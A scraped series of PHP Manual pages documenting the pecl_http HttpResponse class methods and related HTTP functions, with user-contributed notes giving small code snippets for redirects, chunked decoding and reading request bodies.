User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getRequestBodyStream
HttpResponse::getStream
HttpResponse


Get Stream

HttpResponse::getRequestHeaders
HttpResponse::getThrottleDelay
HttpResponse
PHP Manual

HttpResponse::getStream

(PECL pecl_http >= 0.10.0)

HttpResponse::getStream — Get Stream

Description

static resource HttpResponse::getStream ( void )

Get the previously set resource to be sent.

Parameters

Return Values

Returns the previously set resource.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getRequestHeaders
HttpResponse::getThrottleDelay
HttpResponse


Get throttle delay

HttpResponse::getStream
HttpResponse::guessContentType
HttpResponse
PHP Manual

HttpResponse::getThrottleDelay

(PECL pecl_http >= 0.10.0)

HttpResponse::getThrottleDelay — Get throttle delay

Description

static float HttpResponse::getThrottleDelay ( void )

Get the current throttle delay.

Return Values

Returns a double representing the throttle delay in seconds.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getStream
HttpResponse::guessContentType
HttpResponse


Guess content type

HttpResponse::getThrottleDelay
HttpResponse::redirect
HttpResponse
PHP Manual

HttpResponse::guessContentType

(PECL pecl_http >= 0.13.0)

HttpResponse::guessContentType — Guess content type

Description

static string HttpResponse::guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )

Attempts to guess the content type of supplied payload through libmagic.

If the attempt is successful, the guessed Content-Type will automatically be set as response Content-Type.

Parameters

magic_file

specifies the magic.mime database to use

magic_mode

flags for libmagic

Return Values

Returns the guessed content type on success or FALSE on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpInvalidParamException.

See Also

  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::getThrottleDelay
HttpResponse::redirect
HttpResponse


Redirect

HttpResponse::guessContentType
HttpResponse::send
HttpResponse
PHP Manual

HttpResponse::redirect

(PECL pecl_http >= 0.10.0)

HttpResponse::redirect — Redirect

Description

static void HttpResponse::redirect ([ string $url [, array $params [, bool $session = false [, int $status ]]]] )

This function is an alias of: http_redirect().

User Contributed Notes

scirelli at gmail dot com 07-Jan-2011 10:51
All HttpRequest requires thread safe version of php
HttpResponse::guessContentType
HttpResponse::send
HttpResponse


Send response

HttpResponse::redirect
HttpResponse::setBufferSize
HttpResponse
PHP Manual

HttpResponse::send

(PECL pecl_http >= 0.10.0)

HttpResponse::send — Send response

Description

static bool HttpResponse::send ([ bool $clean_ob = true ] )

Finally send the entity.

A successful caching attempt will exit PHP, and write a log entry if the INI setting http.log.cache is set. See the INI setting http.force_exit for what "exits" means.

Parameters

clean_ob

whether to destroy all previously started output handlers and their buffers

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A HttpResponse::send() example

<?php
HttpResponse::setCache(true);
HttpResponse::setContentType('application/pdf');
HttpResponse::setContentDisposition("$user.pdf", false);
HttpResponse::setFile('sheet.pdf');
HttpResponse::send();
?>

See Also

  • HttpResponse::capture() - Capture script output

User Contributed Notes

lymber 18-Jan-2010 09:35
how to respond to a http request
Note that if you output data before sending the response then you will get a warning saying: Cannot modify header information - headers already sent. So do not echo any data in your responding script.
<?php
//process the request by fetching the info
$headers = http_get_request_headers();
$result = http_get_request_body();
//do stuff with the $headers and $result variables....
//then send your response
HttpResponse::status(200);
HttpResponse::setContentType('text/xml');
HttpResponse::setHeader('From', 'Lymber');
HttpResponse::setData('<?xml version="1.0"?><note>Thank you for posting your data! We love php!</note>');
HttpResponse::send();
?>
mbyrd at cloudcache dot net 10-Sep-2008 02:35
I figured out a way to return a response and then keep doing lots of other work:
<?php

HttpResponse::setCache(true);
HttpResponse::setContentType('text/html');
HttpResponse::setData("<html>hellow world...</html>");
HttpResponse::send();

flush();
// Response has been sent

sleep(30);

define_syslog_variables();
openlog("cloudcacheLog", LOG_PID , LOG_LOCAL0);
syslog(LOG_INFO, "Writing log well after send and flush...");

?>

Response time according to LORI (firefox addon):  0.130s - tailing /var/log/syslog - message hits 30 seconds later.
barnett dot [NOSPAM]thomas at gmail dot com 25-May-2008 09:31
I was having a problem with the bytes appended to the output, using the given example.

<?php
...
HttpResponse::setFile('sheet.pdf');
HttpResponse::send();
?>

Content-Length mismatch: Response Header claimed x bytes, but server sent x+5 bytes.

Adding an exit statement solved this problem.
HttpResponse::redirect
HttpResponse::setBufferSize
HttpResponse


Set buffer size

HttpResponse::send
HttpResponse::setCache
HttpResponse
PHP Manual

HttpResponse::setBufferSize

(PECL pecl_http >= 0.10.0)

HttpResponse::setBufferSize — Set buffer size

Description

static bool HttpResponse::setBufferSize ( int $bytes )

Sets the send buffer size of the throttling mechanism.

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

bytes

the chunk size in bytes

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::send
HttpResponse::setCache
HttpResponse


Set cache

HttpResponse::setBufferSize
HttpResponse::setCacheControl
HttpResponse
PHP Manual

HttpResponse::setCache

(PECL pecl_http >= 0.10.0)

HttpResponse::setCache — Set cache

Description

static bool HttpResponse::setCache ( bool $cache )

Whether it should be attempted to cache the entity.

This will result in necessary caching headers and checks of clients If-Modified-Since and If-None-Match headers. If one of those headers matches a 304 Not Modified status code will be issued.

Note:

If you're using sessions, be sure that you set session.cache_limiter to something more appropriate than "no-cache"!

Parameters

cache

whether caching should be attempted

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::getCachel()

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setBufferSize
HttpResponse::setCacheControl
HttpResponse


Set cache control

HttpResponse::setCache
HttpResponse::setContentDisposition
HttpResponse
PHP Manual

HttpResponse::setCacheControl

(PECL pecl_http >= 0.10.0)

HttpResponse::setCacheControl — Set cache control

Description

static bool HttpResponse::setCacheControl ( string $control [, int $max_age = 0 [, bool $must_revalidate = true ]] )

Define a custom Cache-Control header, usually being private or public;

Parameters

control

the primary cache control setting

max_age

the max-age in seconds, suggesting how long the cache entry is valid on the client side

must_revalidate

whether the cached entity should be revalidated by the client for every request

Return Values

Returns TRUE on success, or FALSE if control does not match one of public, private or no-cache.

See Also

  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::setCache() - Set cache
  • HttpResponse::getCache() - Get cache

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setCache
HttpResponse::setContentDisposition
HttpResponse


Set content disposition

HttpResponse::setCacheControl
HttpResponse::setContentType
HttpResponse
PHP Manual

HttpResponse::setContentDisposition

(PECL pecl_http >= 0.10.0)

HttpResponse::setContentDisposition — Set content disposition

Description

static bool HttpResponse::setContentDisposition ( string $filename [, bool $inline = false ] )

Set the Content-Disposition. The Content-Disposition header is very useful if the data actually being sent came from a file or something similar, that should be "saved" by the client/user (i.e. by the browser's "Save as..." popup window).

Parameters

filename

the file name the "Save as..." dialog should display

inline

if set to true and the user agent knows how to handle the content type, it will probably not cause the popup window to be shown

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setCacheControl
HttpResponse::setContentType
HttpResponse


Set content type

HttpResponse::setContentDisposition
HttpResponse::setData
HttpResponse
PHP Manual

HttpResponse::setContentType

(PECL pecl_http >= 0.10.0)

HttpResponse::setContentType — Set content type

Description

static bool HttpResponse::setContentType ( string $content_type )

Set the Content-Type of the sent entity.

Parameters

content_type

the content type of the sent entity (primary/secondary)

Return Values

Returns TRUE on success, or FALSE if the content type does not seem to contain a primary and secondary content type part.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::guessContentType() - Guess content type

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setContentDisposition
HttpResponse::setData
HttpResponse


Set data

HttpResponse::setContentType
HttpResponse::setETag
HttpResponse
PHP Manual

HttpResponse::setData

(PECL pecl_http >= 0.10.0)

HttpResponse::setData — Set data

Description

static bool HttpResponse::setData ( mixed $data )

Set the data to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

data

data to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setContentType
HttpResponse::setETag
HttpResponse


Set ETag

HttpResponse::setData
HttpResponse::setFile
HttpResponse
PHP Manual

HttpResponse::setETag

(PECL pecl_http >= 0.10.0)

HttpResponse::setETag — Set ETag

Description

static bool HttpResponse::setETag ( string $etag )

Set a custom ETag. Use this only if you know what you're doing.

Parameters

etag

unquoted string as parameter containing the ETag

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::getETag() - Get ETag

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setData
HttpResponse::setFile
HttpResponse


Set file

HttpResponse::setETag
HttpResponse::setGzip
HttpResponse
PHP Manual

HttpResponse::setFile

(PECL pecl_http >= 0.10.0)

HttpResponse::setFile — Set file

Description

static bool HttpResponse::setFile ( string $file )

Set the file to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

file

the path to the file to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setETag
HttpResponse::setGzip
HttpResponse


Set gzip

HttpResponse::setFile
HttpResponse::setHeader
HttpResponse
PHP Manual

HttpResponse::setGzip

(PECL pecl_http >= 0.10.0)

HttpResponse::setGzip — Set gzip

Description

static bool HttpResponse::setGzip ( bool $gzip )

Enable on-thy-fly gzip'ing of the sent entity.

Parameters

gzip

whether GZip compression should be enabled

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getGzip() - Get gzip

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setFile
HttpResponse::setHeader
HttpResponse


Set header

HttpResponse::setGzip
HttpResponse::setLastModified
HttpResponse
PHP Manual

HttpResponse::setHeader

(PECL pecl_http >= 0.12.0)

HttpResponse::setHeader — Set header

Description

static bool HttpResponse::setHeader ( string $name [, mixed $value [, bool $replace = true ]] )

Send an HTTP header.

Parameters

name

the name of the header

value

the value of the header; if not set, no header with this name will be sent

replace

whether an existing header should be replaced

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getHeader() - Get header

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setGzip
HttpResponse::setLastModified
HttpResponse


Set last modified

HttpResponse::setHeader
HttpResponse::setStream
HttpResponse
PHP Manual

HttpResponse::setLastModified

(PECL pecl_http >= 0.12.0)

HttpResponse::setLastModified — Set last modified

Description

static bool HttpResponse::setLastModified ( int $timestamp )

Set a custom Last-Modified date.

Parameters

timestamp

Unix timestamp representing the last modification time of the sent entity

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::getETag() - Get ETag
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setHeader
HttpResponse::setStream
HttpResponse


Set stream

HttpResponse::setLastModified
HttpResponse::setThrottleDelay
HttpResponse
PHP Manual

HttpResponse::setStream

(PECL pecl_http >= 0.10.0)

HttpResponse::setStream — Set stream

Description

static bool HttpResponse::setStream ( resource $stream )

Set the resource to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

stream

already opened stream from which the data to send will be read

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setLastModified
HttpResponse::setThrottleDelay
HttpResponse


Set throttle delay

HttpResponse::setStream
HttpResponse::status
HttpResponse
PHP Manual

HttpResponse::setThrottleDelay

(PECL pecl_http >= 0.10.0)

HttpResponse::setThrottleDelay — Set throttle delay

Description

static bool HttpResponse::setThrottleDelay ( float $seconds )

Sets the throttle delay.

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

seconds

seconds to sleep after each chunk sent

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setStream
HttpResponse::status
HttpResponse


Send HTTP response status

HttpResponse::setThrottleDelay
HTTP Functions
HttpResponse
PHP Manual

HttpResponse::status

(PECL pecl_http >= 0.12.0)

HttpResponse::status — Send HTTP response status

Description

static bool HttpResponse::status ( int $status )

This function is an alias of: http_send_status().

User Contributed Notes

There are no user contributed notes for this page.
HttpResponse::setThrottleDelay
HTTP Functions
HttpResponse


HTTP Functions

Built-in HTTP related functions previously listed on this page can be found in the networking category.

The following functions do not need the HTTP module to be present: header(), headers_list(), headers_sent(), setcookie() and setrawcookie().

Function groups

Caching

  • http_cache_etag()
  • http_cache_last_modified()

Encodings

  • http_chunked_decode()
  • http_deflate()
  • http_inflate()

Miscellaneous

  • http_build_cookie()
  • http_date()
  • http_get_request_body_stream()
  • http_get_request_body()
  • http_get_request_headers()
  • http_match_etag()
  • http_match_modified()
  • http_match_request_header()
  • http_support()

Negotiation

  • http_negotiate_charset()
  • http_negotiate_content_type()
  • http_negotiate_language()

Outputhandlers

  • ob_deflatehandler()
  • ob_etaghandler()
  • ob_inflatehandler()

Parsers

  • http_parse_cookie()
  • http_parse_headers()
  • http_parse_message()
  • http_parse_params()

Requests

  • http_get()
  • http_head()
  • http_post_data()
  • http_post_fields()
  • http_put_data()
  • http_put_file()
  • http_put_stream()
  • http_request_body_encode()
  • http_request_method_exists()
  • http_request_method_name()
  • http_request_method_register()
  • http_request_method_unregister()
  • http_request()

Responses

  • http_redirect()
  • http_send_content_disposition()
  • http_send_content_type()
  • http_send_data()
  • http_send_file()
  • http_send_last_modified()
  • http_send_status()
  • http_send_stream()
  • http_throttle()

URLs

  • http_build_str()
  • http_build_url()

Persistent Handles

  • http_persistent_handles_count()
  • http_persistent_handles_ident()
  • http_persistent_handles_clean()

Table of Contents

  • http_cache_etag — Caching by ETag
  • http_cache_last_modified — Caching by last modification
  • http_chunked_decode — Decode chunked-encoded data
  • http_deflate — Deflate data
  • http_inflate — Inflate data
  • http_build_cookie — Build cookie string
  • http_date — Compose HTTP RFC compliant date
  • http_get_request_body_stream — Get request body as stream
  • http_get_request_body — Get request body as string
  • http_get_request_headers — Get request headers as array
  • http_match_etag — Match ETag
  • http_match_modified — Match last modification
  • http_match_request_header — Match any header
  • http_support — Check built-in HTTP support
  • http_negotiate_charset — Negotiate clients preferred character set
  • http_negotiate_content_type — Negotiate clients preferred content type
  • http_negotiate_language — Negotiate clients preferred language
  • ob_deflatehandler — Deflate output handler
  • ob_etaghandler — ETag output handler
  • ob_inflatehandler — Inflate output handler
  • http_parse_cookie — Parse HTTP cookie
  • http_parse_headers — Parse HTTP headers
  • http_parse_message — Parse HTTP messages
  • http_parse_params — Parse parameter list
  • http_persistent_handles_clean — Clean up persistent handles
  • http_persistent_handles_count — Stat persistent handles
  • http_persistent_handles_ident — Get/set ident of persistent handles
  • http_get — Perform GET request
  • http_head — Perform HEAD request
  • http_post_data — Perform POST request with pre-encoded data
  • http_post_fields — Perform POST request with data to be encoded
  • http_put_data — Perform PUT request with data
  • http_put_file — Perform PUT request with file
  • http_put_stream — Perform PUT request with stream
  • http_request_body_encode — Encode request body
  • http_request_method_exists — Check whether request method exists
  • http_request_method_name — Get request method name
  • http_request_method_register — Register request method
  • http_request_method_unregister — Unregister request method
  • http_request — Perform custom request
  • http_redirect — Issue HTTP redirect
  • http_send_content_disposition — Send Content-Disposition
  • http_send_content_type — Send Content-Type
  • http_send_data — Send arbitrary data
  • http_send_file — Send file
  • http_send_last_modified — Send Last-Modified
  • http_send_status — Send HTTP response status
  • http_send_stream — Send stream
  • http_throttle — HTTP throttling
  • http_build_str — Build query string
  • http_build_url — Build a URL

User Contributed Notes

henke dot andersson at comhem dot se 14-Jan-2006 01:01
If you want to make outgoing http connections with php, concider the curl extension.
woei at xs4all dot nl 30-Nov-2005 07:57
Actually, if you want to redirect a user why let HTML or JavaScript do it? Simply do this:

header("Location: http://www.example.com/");
WeeJames 07-Jul-2004 11:39
Regarding what the guy before said.  We've experienced problems where certain firewalls have encrypted the HTTP_REFERER meaning that it doesnt always contain the place you've come from.

Better to track where the user has come from either in a form post or in the url.
27-Apr-2004 07:05
in reference to toashwinisidhu's and breaker's note, a more effective way would be to use meta-tag redirect, for example.

<?php
$url = "http://somesite.com/index.php"; // target of the redirect
$delay = "3"; // 3 second delay

echo '<meta http-equiv="refresh" content="'.$delay.';url='.$url.'">';

?>

The meta goes in the head of the HTML.
This method does not require javascript and is supported by most browsers and is rarely, if ever, filterd out.
toashwinisidhu at yahoo dot com 21-Apr-2004 03:55
The method given below may not sometimes work.
The following method has always worked with me:
just put the following 3 lines in your PHP code

?>
<body onload=setTimeout("location.href='$url'",$sec)>
<?PHP
-------?>

$sec is the time in second after which the browser would automatically go to the url. Set it to 0 if you do not want to give any time.
You can use this function on the events of various html/form objects (eg.-onclick for button).eg.
<input type=button value="Go to Php.net" onclick=setTimeout("location.href='php.net'",0)>
Use this to one step back
<input type="button" value="Back" onclick=history.go(-1)>
jeffp-php at outofservice dot com 04-Jan-2001 08:37
$HTTP_RAW_POST_DATA --

You'll usually access variables from forms sent via POST method by just accessing the associated PHP global variable.

However, if your POST data is not URI encoded (i.e., custom application that's not form-based) PHP won't parse the data into nice variables for you.  You will need to use $HTTP_RAW_POST_DATA to access the raw data directly. (This should return a copy of the data given to the PHP process on STDIN; note that you wan't be able to open STDIN and read it yourself because PHP already did so itself.)
HttpResponse::status
http_cache_etag
HTTP


Caching by ETag

HTTP Functions
http_cache_last_modified
HTTP Functions
PHP Manual

http_cache_etag

(PECL pecl_http >= 0.1.0)

http_cache_etag — Caching by ETag

Description

bool http_cache_etag ([ string $etag ] )

Attempts to cache the sent entity by its ETag, either supplied or generated by the hash algorithm specified by the INI setting http.etag.mode.

If the clients If-None-Match header matches the supplied/calculated ETag, the body is considered cached on the clients side and a 304 Not Modified status code is issued.

A log entry is written to the cache log if the INI setting http.log.cache is set and the cache attempt was successful.

Note: This function may be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

If this function is used outside the http_send_*() API, it facilitates the ob_etaghandler().

Parameters

etag

custom ETag

Return Values

Returns FALSE or exits on success with 304 Not Modified if the entity is cached. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_cache_etag() example

<?php
http_cache_etag();
http_send_data("data");
?>

See Also

  • http_cache_last_modified() - Caching by last modification
  • ob_etaghandler() - ETag output handler
  • http_match_etag() - Match ETag
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.
HTTP Functions
http_cache_last_modified
HTTP Functions


Caching by last modification

http_cache_etag
http_chunked_decode
HTTP Functions
PHP Manual

http_cache_last_modified

(PECL pecl_http >= 0.1.0)

http_cache_last_modified — Caching by last modification

Description

bool http_cache_last_modified ([ int $timestamp_or_expires ] )

Attempts to cache the sent entity by its last modification date.

If the supplied argument is greater than 0, it is handled as timestamp and will be sent as date of last modification. If it is 0 or omitted, the current time will be sent as Last-Modified date. If it's negative, it is handled as expiration time in seconds, which means that if the requested last modification date is not between the calculated timespan, the Last-Modified header is updated and the actual body will be sent.

A log entry will be written to the cache log if the INI setting http.log.cache is set and the cache attempt was successful.

Note: This function may be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

timestamp_or_expires

Unix timestamp

Return Values

Returns FALSE or exits on success with 304 Not Modified if the entity is cached. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_cache_last_modified() example

Caching for 5 seconds.

<?php
http_cache_last_modified(-5);
printf("%s\n", http_date());
?>

See Also

  • http_cache_etag() - Caching by ETag
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

from dot php dot net at brainbox dot cz 22-Feb-2011 07:18
Please note that calling this function automatically sends also following header:

Cache-Control: private, must-revalidate, max-age=0

If you want to modify the Cache-Control header as well, you must send it *after* calling http_cache_last_modified().
http_cache_etag
http_chunked_decode
HTTP Functions


Decode chunked-encoded data

http_cache_last_modified
http_deflate
HTTP Functions
PHP Manual

http_chunked_decode

(PECL pecl_http >= 0.1.0)

http_chunked_decode — Decode chunked-encoded data

Description

string http_chunked_decode ( string $encoded )

Decodes a string which is HTTP-chunked encoded.

Parameters

encoded

chunked encoded string

Return Values

Returns the decoded string on success or FALSE on failure.

Examples

Example #1 A http_chunked_decode() example

<?php
$string = "".
    "05\r\n".
    "this \r\n".
    "07\r\n".
    "string \r\n".
    "12\r\n".
    "is chunked encoded\r\n".
    "01\n\r\n".
    "00";
echo http_chunked_decode($string);
?>

The above example will output:

this string is chunked encoded

User Contributed Notes

Marques Johansson 23-Mar-2009 08:48
Here's a PHP implementation for those less interested in installing a pecl module.  It's a bit naive (doesn't handle multiple byte encodings), but it works.  I'm also including my is_hex() implementation at no additional cost.

<?php
if (!function_exists('http-chunked-decode')) {
    /**
     * dechunk an http 'transfer-encoding: chunked' message
     *
     * @param string $chunk the encoded message
     * @return string the decoded message.  If $chunk wasn't encoded properly it will be returned unmodified.
     */
    function http_chunked_decode($chunk) {
        $pos = 0;
        $len = strlen($chunk);
        $dechunk = null;

        while(($pos < $len)
            && ($chunkLenHex = substr($chunk,$pos, ($newlineAt = strpos($chunk,"\n",$pos+1))-$pos)))
        {
            if (! is_hex($chunkLenHex)) {
                trigger_error('Value is not properly chunk encoded', E_USER_WARNING);
                return $chunk;
            }

            $pos = $newlineAt + 1;
            $chunkLen = hexdec(rtrim($chunkLenHex,"\r\n"));
            $dechunk .= substr($chunk, $pos, $chunkLen);
            $pos = strpos($chunk, "\n", $pos + $chunkLen) + 1;
        }
        return $dechunk;
    }
}

    /**
     * determine if a string can represent a number in hexadecimal
     *
     * @param string $hex
     * @return boolean true if the string is a hex, otherwise false
     */
    function is_hex($hex) {
        // regex is for weenies
        $hex = strtolower(trim(ltrim($hex,"0")));
        if (empty($hex)) { $hex = 0; };
        $dec = hexdec($hex);
        return ($hex == dechex($dec));
    }
?>
http_cache_last_modified
http_deflate
HTTP Functions


Deflate data

http_chunked_decode
http_inflate
HTTP Functions
PHP Manual

http_deflate

(PECL pecl_http >= 0.15.0)

http_deflate — Deflate data

Description

string http_deflate ( string $data [, int $flags = 0 ] )

Compress data with gzip, zlib AKA deflate or raw deflate encoding.

See the deflate constants table for possible values for the flags parameter.

Parameters

data

String containing the data that should be encoded

flags

deflate options

Return Values

Returns the encoded string on success, or NULL on failure.

See Also

  • http_inflate() - Inflate data
  • HttpDeflateStream

User Contributed Notes

There are no user contributed notes for this page.
http_chunked_decode
http_inflate
HTTP Functions


Inflate data

http_deflate
http_build_cookie
HTTP Functions
PHP Manual

http_inflate

(PECL pecl_http >= 0.15.0)

http_inflate — Inflate data

Description

string http_inflate ( string $data )

Decompress data compressed with either gzip, deflate AKA zlib or raw deflate encoding.

Parameters

data

string containing the compressed data

Return Values

Returns the decoded string on success, or NULL on failure.

See Also

  • http_deflate() - Deflate data
  • HttpInflateStream

User Contributed Notes

There are no user contributed notes for this page.
http_deflate
http_build_cookie
HTTP Functions


Build cookie string

http_inflate
http_date
HTTP Functions
PHP Manual

http_build_cookie

(PECL pecl_http >= 1.2.0)

http_build_cookie — Build cookie string

Description

string http_build_cookie ( array $cookie )

Build a cookie string from an array/object like returned by http_parse_cookie().

Parameters

cookie

a cookie list like returned from http_parse_cookie()

Return Values

Returns the cookie(s) as string.

See Also

  • http_parse_cookie() - Parse HTTP cookie

User Contributed Notes

jonathan dot aquino at gmail dot com 20-Mar-2009 10:46
Note that you must cast the result of http_parse_cookie to an array before passing it to http_build_cookie (see http://bugs.php.net/bug.php?id=47740 ).

Example:

<?php
$cookie = http_parse_cookie('RMID=2dab5fc9296749c2f28ec0b7; expires=Saturday, 20-Mar-2010 01:34:06 GMT; path=/; domain=.example.com');
var_dump(http_build_cookie((array)$cookie));
?>
http_inflate
http_date
HTTP Functions


Compose HTTP RFC compliant date

http_build_cookie
http_get_request_body_stream
HTTP Functions
PHP Manual

http_date

(PECL pecl_http >= 0.1.0)

http_date — Compose HTTP RFC compliant date

Description

string http_date ([ int $timestamp ] )

Compose a valid HTTP date regarding RFC 1123 looking like: Wed, 22 Dec 2004 11:34:47 GMT.

Parameters

timestamp

Unix timestamp; current time if omitted

Return Values

Returns the HTTP date as string.

See Also

  • date() - Format a local time/date

User Contributed Notes

joshsnyder at earthlink dot net 20-Sep-2008 04:41
Not sure if this is a failure of documentation or a bug, but it is worth noting that this function seems to return the timestamp of the script execution by default, not the current time. So e.g. this:

<?php

echo http_date();
sleep(60);
echo http_date();

?>

will output the exact same string twice.
http_build_cookie
http_get_request_body_stream
HTTP Functions


Get request body as stream

http_date
http_get_request_body
HTTP Functions
PHP Manual

http_get_request_body_stream

(PECL pecl_http >= 0.22.0)

http_get_request_body_stream — Get request body as stream

Description

resource http_get_request_body_stream ( void )

Create a stream to read the raw request body (e.g. POST or PUT data).

This function can only be used once if the request method was another than POST.

Parameters

Return Values

Returns the raw request body as stream on success or NULL on failure.

See Also

  • http_get_request_body() - Get request body as string
  • http_get_request_headers() - Get request headers as array
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

david at sickmiller dot com 01-Dec-2007 07:31
Like php://input, http_get_request_body_stream() doesn't seem to work with enctype="multipart/form-data".
http_date
http_get_request_body
HTTP Functions


Get request body as string

http_get_request_body_stream
http_get_request_headers
HTTP Functions
PHP Manual

http_get_request_body

(PECL pecl_http >= 0.10.0)

http_get_request_body — Get request body as string

Description

string http_get_request_body ( void )

Get the raw request body (e.g. POST or PUT data).

This function can not be used after http_get_request_body_stream() if the request method was another than POST.

Parameters

Return Values

Returns the raw request body as string on success or NULL on failure.

See Also

  • http_get_request_body_stream() - Get request body as stream
  • http_get_request_headers() - Get request headers as array
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

Tim Trinidad 27-May-2010 05:03
It seems that there is some weird behavior when using http_get_request_body() with fopen('php://input'). Specifically, reading the input with the fopen('php://input') routine before calling http_get_request_body() on a PUT HTTP request.

Here are some examples:

A POST request:
*********************************************************
PUT http://example.com/requestbodytest.php HTTP/1.1
Host: example.com
Keep-Alive: 300
Connection: keep-alive
Content-Type: text/xml
Content-Length: 58

<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>
*********************************************************

with the following script:
*********************************************************
<?php
$body = '';
$fh   = @fopen('php://input', 'r');
if ($fh)
{
  while (!feof($fh))
  {
    $s = fread($fh, 1024);
    if (is_string($s))
    {
      $body .= $s;
    }
  }
  fclose($fh);
}
print("-------------- PHP Input Stream ----------------\n$body\n\n");

$body2 = http_get_request_body();
print("---------- http_get_request_body() -------------\n$body2\n\n");

?>
*********************************************************

outputs this:
*********************************************************
-------------- PHP Input Stream ----------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>

---------- http_get_request_body() -------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>
*********************************************************

The same request to the same script using an HTTP PUT request, however, outputs this:
*********************************************************
-------------- PHP Input Stream ----------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>

---------- http_get_request_body() -------------
*********************************************************

It seems a valid workaround is to put a call to http_get_request_body() to cache the body content before an expected read to php://input (i.e. simply calling the function without manually storing the result caches the content for subsequent calls).
neil at foo dot co dot za 29-Feb-2008 01:40
Like php://input and http_get_request_body_stream(), http_get_request_body() doesn't seem to work with enctype="multipart/form-data".
osborn dot steven at gmail dot com 23-Aug-2007 11:01
For those of you without the HTTP extension, try:
<?php
  $body = @file_get_contents('php://input');
?>
http_get_request_body_stream
http_get_request_headers
HTTP Functions


Get request headers as array

http_get_request_body
http_match_etag
HTTP Functions
PHP Manual

http_get_request_headers

(PECL pecl_http >= 0.10.0)

http_get_request_headers — Get request headers as array

Description

array http_get_request_headers ( void )

Get a list of incoming HTTP headers.

Parameters

Return Values

Returns an associative array of incoming request headers.

See Also

  • http_get_request_body() - Get request body as string
  • http_get_request_body_stream() - Get request body as stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

ocus51 at gmail dot com 13-May-2008 07:36
